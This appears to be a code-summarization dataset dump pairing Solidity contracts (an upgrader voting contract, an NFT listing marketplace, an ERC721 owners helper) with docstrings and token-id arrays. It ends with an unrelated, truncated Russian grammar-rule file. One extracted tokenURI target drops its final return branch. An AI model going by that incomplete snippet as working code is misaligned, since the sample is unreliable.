* @param _percentage value of this.percentage.
*
* exception UninitializationException _dataAddr does not belong to a deployed Data contract having been initialization.
* exception UpgraderConflictException another upgrader is working.
* exception InvalidHandlerException _originalAddr or _newAddr does not belong to a deployed Handler contract.
*/
constructor (address _dataAddr, address _originalAddr, address _newAddr, address[] _voters, uint256 _percentage) public {
// Check if the Data contract can be upgarded.
data = DataContract(_dataAddr);
require(data.live(),
"Can not upgrade Handler contract for an uninitialized Data contract!");
require(data.canBeUpgraded(_originalAddr) == DataContract.UpgradingStatus.Done,
"Can not upgrade Handler contract!");
// Check if the Handler contracts are valid.
originalHandler = IHandler(_originalAddr);
require(originalHandler.live(), "Invlid original Handler contract!");
newHandlerAddr = _newAddr;
require(IHandler(_newAddr).live(), "Invlid new Handler contract!");
owner = msg.sender;
_addVoters(_voters);
_setPercentage(_percentage);
// Mark the contract as preparing.
status = UpgraderStatus.Preparing;
}
/**
* Start voting.
* Upgrader must check if Data contract and 2 Handler contracts are ok.
*
* exception RestartingException proposal has been already started.
* exception PermissionException msg.sender is not the owner.
* exception UpgraderConflictException another upgrader is working.
* exception NoPreparationException original or new Handler contract is not prepared.
*/
function startProposal () external {
require(status == UpgraderStatus.Preparing, "Proposal has been already started!");
require(msg.sender == owner, "Permission error!");
// Check if contracts are prepared.
require(data.canBeUpgraded(address(originalHandler)) == DataContract.UpgradingStatus.InProgress,
"Have not registered upgrader in Data contract!");
require(originalHandler.isPrepared4Upgrading(),
"Have not registered upgrader in original Handler contract!");
require(IHandler(newHandlerAddr).isPrepared4Upgrading(),
"Have not registered upgrader in new Handler contract!");
// Mark the contract as voting.
status = UpgraderStatus.Voting;
}
/**
* Add unique voters.
* If expired, self-destruct.
*
* @param _voters addresses of voters.
*
* exception PermissionException msg.sender is not the owner.
*
* see this.notExpired
*/
function addVoters (address[] _voters) public notExpired {
require(msg.sender == owner, "Permission error!");
_addVoters(_voters);
}
function _addVoters (address[] _voters) internal {
for (uint256 i = 0; i < _voters.length; i++) {
if (!voterRegistered[_voters[i]]) {
voterRegistered[_voters[i]] = true;
numOfVoters++;
}
}
}
/**
* Vote.
* If expired, self-destruct.
*
* @param _choose if the voter agrees with the proposal.
*
* exception PermissionException msg.sender is not a voter.
*
* see this.notExpired
*/
function vote (bool _choose) external notExpired {
require(voterRegistered[msg.sender], "Do not have the permission!");
if (voting[msg.sender] != _choose) {
if (_choose) {
numOfAgreements++;
} else {
numOfAgreements--;
}
voting[msg.sender] = _choose;
}
}
/**
* Set percentage.
* If percentage is over 100, it will be fixed automatically.
*
* @param _percentage value of this.percentage.
*
* exception PermissionException msg.sender is not the owner.
*
* see this.notExpired
*/
function setPercentage(uint256 _percentage) external notExpired {
require(msg.sender == owner, "Permission error!");
_setPercentage(_percentage);
}
function _setPercentage(uint256 _percentage) internal {
percentage = _percentage;
if (percentage > 100) {
percentage = 100;
}
}
/**
* Anyone can try to get resolution.
* If voters get consensus, upgrade the Handler contract.
* If expired, self-destruct.
* Otherwise, do nothing.
*
* exception PreparingUpgraderException proposal has not been started.
*
* @return status of proposal.
*
* see this.notExpired
*/
function getResolution() external notExpired returns(UpgraderStatus) {
if (numOfAgreements > numOfVoters.mul(percentage).div(100)) {
data.setHandler(newHandlerAddr, address(originalHandler));
originalHandler.done();
status = UpgraderStatus.Success;
}
return status;
}
/**
* Destruct itself.
*
* exception PermissionException msg.sender is not the owner.
*/
function done() external {
require(msg.sender == owner, "Permission error!");
selfdestruct(owner);
}
}
|
* Check if msg.sender is the Handler contract. It is used for setters. If fail, throw PermissionException./
|
modifier onlyHandler {
require(msg.sender == handlerAddr, "Only Handler contract can call this function!");
_;
}
| 932,748 |
[
1,
1564,
309,
1234,
18,
15330,
353,
326,
4663,
6835,
18,
2597,
353,
1399,
364,
25627,
18,
971,
2321,
16,
604,
8509,
503,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
20597,
1338,
1503,
288,
203,
202,
202,
6528,
12,
3576,
18,
15330,
422,
1838,
3178,
16,
315,
3386,
4663,
6835,
848,
745,
333,
445,
4442,
1769,
203,
202,
202,
67,
31,
203,
202,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
// ideally import with the below line, but i couldn't get it to work
// import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// ipfs://QmZCJ3M9ki4pW2wMJt7gpoLAuTyZhJ7Rj58kfpoTESv5ab
import "./openzepplin/token/ERC721/ERC721.sol";
contract Blockbeats is ERC721 {
struct Listing {
uint256 id;
string URI;
uint64 price;
string title; // might not need if URI metadata
address payable creator;
// expiry?
}
uint256 numTokens = 0;
mapping(uint256 => string) private _tokenURIs;
mapping(address => uint256[]) private _ownersTokens;
mapping(uint256 => uint256) private _tokenListings;
Listing[] public listings;
constructor() ERC721("BBLicenses", "BBLC") {}
/************ ARTIST **********/
/**
* Creates a new listing struct instance and appends to contract Listing array
*/
function createListing(
string memory title,
uint64 price,
string memory URI
) public {
Listing memory newListing =
Listing({
id: listings.length,
URI: URI,
price: price,
title: title,
creator: payable(msg.sender)
});
listings.push(newListing);
}
/*****************************/
/******** CUSTOMERS **********/
/**
* Returns the contracts Listing array
*/
function viewListings() public view returns (Listing[] memory) {
return (listings);
}
/**
* Handles request to buy a listingID.
* If the payment is correct, a new token is minted using the URI in the
* listing. The original creator of the listing is paid the payment.
*/
function buyListing(uint256 id) public payable {
require(listings.length > id, "This listing ID does not exist");
uint256 price = listings[id].price;
require(msg.value == price, "Paid incorrect amount for listing");
listings[id].creator.transfer(msg.value); // is transfer safe?
_tokenListings[numTokens] = id;
mint(listings[id].URI);
}
/**
* returns the tokens owned by a particular address
*/
function tokensAtAddress(address owner) public view returns (uint256[] memory) {
return(_ownersTokens[owner]);
}
/**
* Returns the listing associated with a tokenId
*/
function resolveTokenToListing(uint256 tokenId) public view returns (Listing memory) {
uint256 listingId = _tokenListings[tokenId];
return listings[listingId];
}
/****************************/
/***** ERC721 extensions ****/
/**
Returns a URI with metadata about the contract.
See: https://docs.opensea.io/docs/contract-level-metadata
*/
function contractURI() public pure returns (string memory) {
return "ipfs://QmZCJ3M9ki4pW2wMJt7gpoLAuTyZhJ7Rj58kfpoTESv5ab";
}
/**
Calls the openzepplin _mint function and maps the URI against the
new minted token.
*/
function mint(string memory tokenURI_) private {
_mint(msg.sender, numTokens);
_setTokenURI(numTokens, tokenURI_);
_ownersTokens[msg.sender].push(numTokens);
numTokens++;
}
/**
Maps a URI to a token if the token exists
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI)
internal
virtual
{
require(
_exists(tokenId),
"ERC721Metadata: URI set of nonexistent token"
);
_tokenURIs[tokenId] = _tokenURI;
}
/**
returns a URI mapped to a tokenID if the token exists
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = "error-unset-URI";
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId));
}
/****************************/
}
|
/ If there is no base URI, return the token URI. If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
|
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = "error-unset-URI";
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_tokenURI));
}
}
| 2,507,942 |
[
1,
19,
971,
1915,
353,
1158,
1026,
3699,
16,
327,
326,
1147,
3699,
18,
971,
3937,
854,
444,
16,
11361,
326,
1026,
3098,
471,
1147,
3098,
261,
21985,
24126,
18,
3015,
4420,
329,
2934,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1147,
3098,
12,
11890,
5034,
1147,
548,
13,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
5024,
203,
3639,
3849,
203,
3639,
1135,
261,
1080,
3778,
13,
203,
565,
288,
203,
3639,
2583,
12,
203,
5411,
389,
1808,
12,
2316,
548,
3631,
203,
5411,
315,
654,
39,
27,
5340,
2277,
30,
3699,
843,
364,
1661,
19041,
1147,
6,
203,
3639,
11272,
203,
203,
3639,
533,
3778,
389,
2316,
3098,
273,
389,
2316,
1099,
2520,
63,
2316,
548,
15533,
203,
3639,
533,
3778,
1026,
273,
315,
1636,
17,
18579,
17,
3098,
14432,
203,
203,
3639,
309,
261,
3890,
12,
1969,
2934,
2469,
422,
374,
13,
288,
203,
5411,
327,
389,
2316,
3098,
31,
203,
3639,
289,
203,
3639,
309,
261,
3890,
24899,
2316,
3098,
2934,
2469,
405,
374,
13,
288,
203,
5411,
327,
533,
12,
21457,
18,
3015,
4420,
329,
24899,
2316,
3098,
10019,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x70588Eb4626600e6b9cD49b140E39e5a814D9535/sources/erc721bo/contracts/Owners.sol
|
* @dev Set `from` to `from + count` as tokens owned by the `owner`./
|
function mint(AddressSet storage set, address owner, uint256 from, uint256 count) internal {
set._inner[from] = pack(owner, count);
}
| 3,053,339 |
[
1,
694,
1375,
2080,
68,
358,
1375,
2080,
397,
1056,
68,
487,
2430,
16199,
635,
326,
1375,
8443,
8338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
312,
474,
12,
1887,
694,
2502,
444,
16,
1758,
3410,
16,
2254,
5034,
628,
16,
2254,
5034,
1056,
13,
2713,
288,
203,
3639,
444,
6315,
7872,
63,
2080,
65,
273,
2298,
12,
8443,
16,
1056,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// -----------------------------------------------------------------------------
// File RUS_SA_SUBJECT_VERB.SOL
//
// (c) Koziev Elijah
//
// Content:
// Синтаксический анализатор: связь подлежащих со сказуемыми
//
// Подробнее о правилах: http://www.solarix.ru/for_developers/docs/rules.shtml
// -----------------------------------------------------------------------------
//
// CD->05.10.1995
// LC->13.08.2009
// --------------
#include "aa_rules.inc"
automat aa
{
#pragma floating off
// *********************************
// **** ПРОШЕДШЕЕ/БУДУЩЕЕ ВРЕМЯ ****
// *********************************
operator SubjectVerb_10 : LINK_SUBJECT_VERB
{
// КУРТКА БЫЛА КРАСИВА
// КОШКА БЫЛА ХИТРАЯ
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ }
ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ }
}
correlate { РОД ЧИСЛО }
then context { 0.<ATTRIBUTE>2.1 }
}
operator SubjectVerb_11 : LINK_SUBJECT_VERB
{
// ОДНА КУРТКА БЫЛА КРАСИВА
// ОДНА КОШКА БЫЛА ХИТРАЯ
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ }
ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ }
}
correlate { РОД }
then context { 0.<ATTRIBUTE>2.1 }
}
operator SubjectVerb_20 : LINK_SUBJECT_VERB
{
// ОНА БЫЛА КРАСИВА
// ОНА БЫЛА ХИТРАЯ
if context {
МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ}
ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ }
ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ }
}
correlate { РОД ЧИСЛО }
then context { 0.<ATTRIBUTE>2.1 }
}
operator SubjectVerb_50 : LINK_SUBJECT_VERB
{
// БЫЛА КУРТКА КРАСИВА
// БЫЛА КОШКА ХИТРАЯ
if context {
ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ }
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ }
}
correlate { РОД ЧИСЛО }
then context { 1.<ATTRIBUTE>2.<TENSE_VERB>0 }
}
operator SubjectVerb_51 : LINK_SUBJECT_VERB
{
// БЫЛА ОДНА КУРТКА КРАСИВА
// БЫЛА ОДНА КОШКА ХИТРАЯ
if context {
ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ }
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ }
}
correlate { РОД ЧИСЛО }
then context { 1.<ATTRIBUTE>2.<TENSE_VERB>0 }
}
operator SubjectVerb_60 : LINK_SUBJECT_VERB
{
// БЫЛА ОНА КРАСИВА
// БЫЛА ОНА ХИТРАЯ
if context {
ПРЕДИКАТ:БЫТЬ{ ВРЕМЯ:ПРОШЕДШЕЕ }
МЕСТОИМЕНИЕ:Я{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ /*КРАТКИЙ*/ ПАДЕЖ:ИМ }
}
correlate { РОД ЧИСЛО }
then context { 1.<ATTRIBUTE>2.<TENSE_VERB>0 }
}
operator SubjectVerb_70 : LINK_SUBJECT_VERB
{
// КОШКА БЫЛА БЕЛОЙ
// КОШКА СТАЛА БЕЛОЙ
// КОШКА ОКАЗАЛАСЬ БЕЛОЙ
// СОБАКА БЫВАЛА КУСАЧЕЙ
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ }
ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР }
}
correlate { РОД ЧИСЛО }
then context { 0.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ . 1 }
}
operator SubjectVerb_71 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА БЫЛА БЕЛОЙ
// ОДНА КОШКА СТАЛА БЕЛОЙ
// ОДНА КОШКА ОКАЗАЛАСЬ БЕЛОЙ
// ОДНА СОБАКА БЫВАЛА КУСАЧЕЙ
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ }
ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР }
}
correlate { РОД ЧИСЛО }
then context { 0.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ . 1 }
}
operator SubjectVerb_80 : LINK_SUBJECT_VERB
{
// ОНА БЫЛА БЕЛОЙ
// ОНА СТАЛА БЕЛОЙ
// ОНА ОКАЗАЛАСЬ БЕЛОЙ
if context {
МЕСТОИМЕНИЕ:Я{ПАДЕЖ:ИМ}
ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ }
ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР }
}
correlate { РОД ЧИСЛО }
then context { 0.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ . 1 }
}
operator SubjectVerb_110 : LINK_SUBJECT_VERB
{
// БЫЛА КОШКА БЕЛОЙ
// СТАЛА КОШКА БЕЛОЙ
// ОКАЗАЛАСЬ КОШКА БЕЛОЙ
if context {
ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ }
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР }
}
correlate { РОД ЧИСЛО }
then context { 1.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ .<TENSE_VERB> 0 }
}
operator SubjectVerb_111 : LINK_SUBJECT_VERB
{
// БЫЛА ОДНА КОШКА БЕЛОЙ
// СТАЛА ОДНА КОШКА БЕЛОЙ
// ОКАЗАЛАСЬ КОШКА БЕЛОЙ
if context {
ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ }
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР }
}
correlate { РОД ЧИСЛО }
then context { 1.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ .<TENSE_VERB> 0 }
}
operator SubjectVerb_120 : LINK_SUBJECT_VERB
{
// БЫЛА ОНА БЕЛОЙ
// СТАЛА ОНА БЕЛОЙ
// ОКАЗАЛАСЬ ОНА БЕЛОЙ
if context {
ПРЕДИКАТ:*{ ВРЕМЯ:ПРОШЕДШЕЕ }
МЕСТОИМЕНИЕ:Я{ПАДЕЖ:ИМ}
ПРИЛАГАТЕЛЬНОЕ{ /*~КРАТКИЙ*/ ПАДЕЖ:ТВОР }
}
correlate { РОД ЧИСЛО }
then context { 1.<ATTRIBUTE>2 : set ПАДЕЖ:ИМ .<TENSE_VERB> 0 }
}
// *************************
// **** НАСТОЯЩЕЕ ВРЕМЯ ****
// *************************
operator SubjectVerb_200 : LINK_SUBJECT_VERB
{
// КОШКА СИЛЬНЕЕ СОБАКИ
if context {
СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ { СТЕПЕНЬ:СРАВН }
}
then context { 0.<ATTRIBUTE>1 /*: set ПАДЕЖ:ИМ*/ }
}
operator SubjectVerb_201 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА СИЛЬНЕЕ СОБАКИ
if context {
ЧИСЛИТЕЛЬНОЕ { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ { СТЕПЕНЬ:СРАВН }
}
then context { 0.<ATTRIBUTE>1 /*: set ПАДЕЖ:ИМ*/ }
}
operator SubjectVerb_210 : LINK_SUBJECT_VERB
{
// ОНА СИЛЬНЕЕ СОБАКИ
if context {
МЕСТОИМЕНИЕ:Я { ПАДЕЖ:ИМ }
ПРИЛАГАТЕЛЬНОЕ { СТЕПЕНЬ:СРАВН }
}
then context { 0.<ATTRIBUTE>1 /*: set ПАДЕЖ:ИМ*/ }
}
operator SubjectVerb_310 : LINK_SUBJECT_VERB
{
// КОШКА - БЕЛАЯ.
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
_Дефис
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_КОН
}
correlate { 0:РОД=2 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 3 }
}
operator SubjectVerb_311 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА - БЕЛАЯ.
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
_Дефис
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_КОН
}
correlate { 0:РОД=2 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 3 }
}
operator SubjectVerb_320 : LINK_SUBJECT_VERB
{
// ОНА - БЕЛАЯ.
if context {
МЕСТОИМЕНИЕ:Я {ПАДЕЖ:ИМ}
_Дефис
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_КОН
}
correlate { 0:РОД=2 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 3 }
}
operator SubjectVerb_322 : LINK_SUBJECT_VERB
{
// КТО-ТО - БЕЛЫЙ.
if context {
МЕСТОИМ_СУЩ:* {ПАДЕЖ:ИМ}
_Дефис
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_КОН
}
correlate { 0:РОД=2 }
then context { 0.<ATTRIBUTE>2 3 }
}
operator SubjectVerb_330 : LINK_SUBJECT_VERB
{
// КОШКА - БЕЛАЯ, ...
if context {
СУЩЕСТВИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
_Дефис
ПРИЛАГАТЕЛЬНОЕ{ ПАДЕЖ:ИМ }
_Запятая
}
correlate { 0:РОД=2 0:ЧИСЛО=2 }
then context { 0.<ATTRIBUTE>2 3 }
}
operator SubjectVerb_331 : LINK_SUBJECT_VERB
{
// ОДНА КОШКА - БЕЛАЯ, ...
if context {
ЧИСЛИТЕЛЬНОЕ{ПАДЕЖ:ИМ}
_Дефис
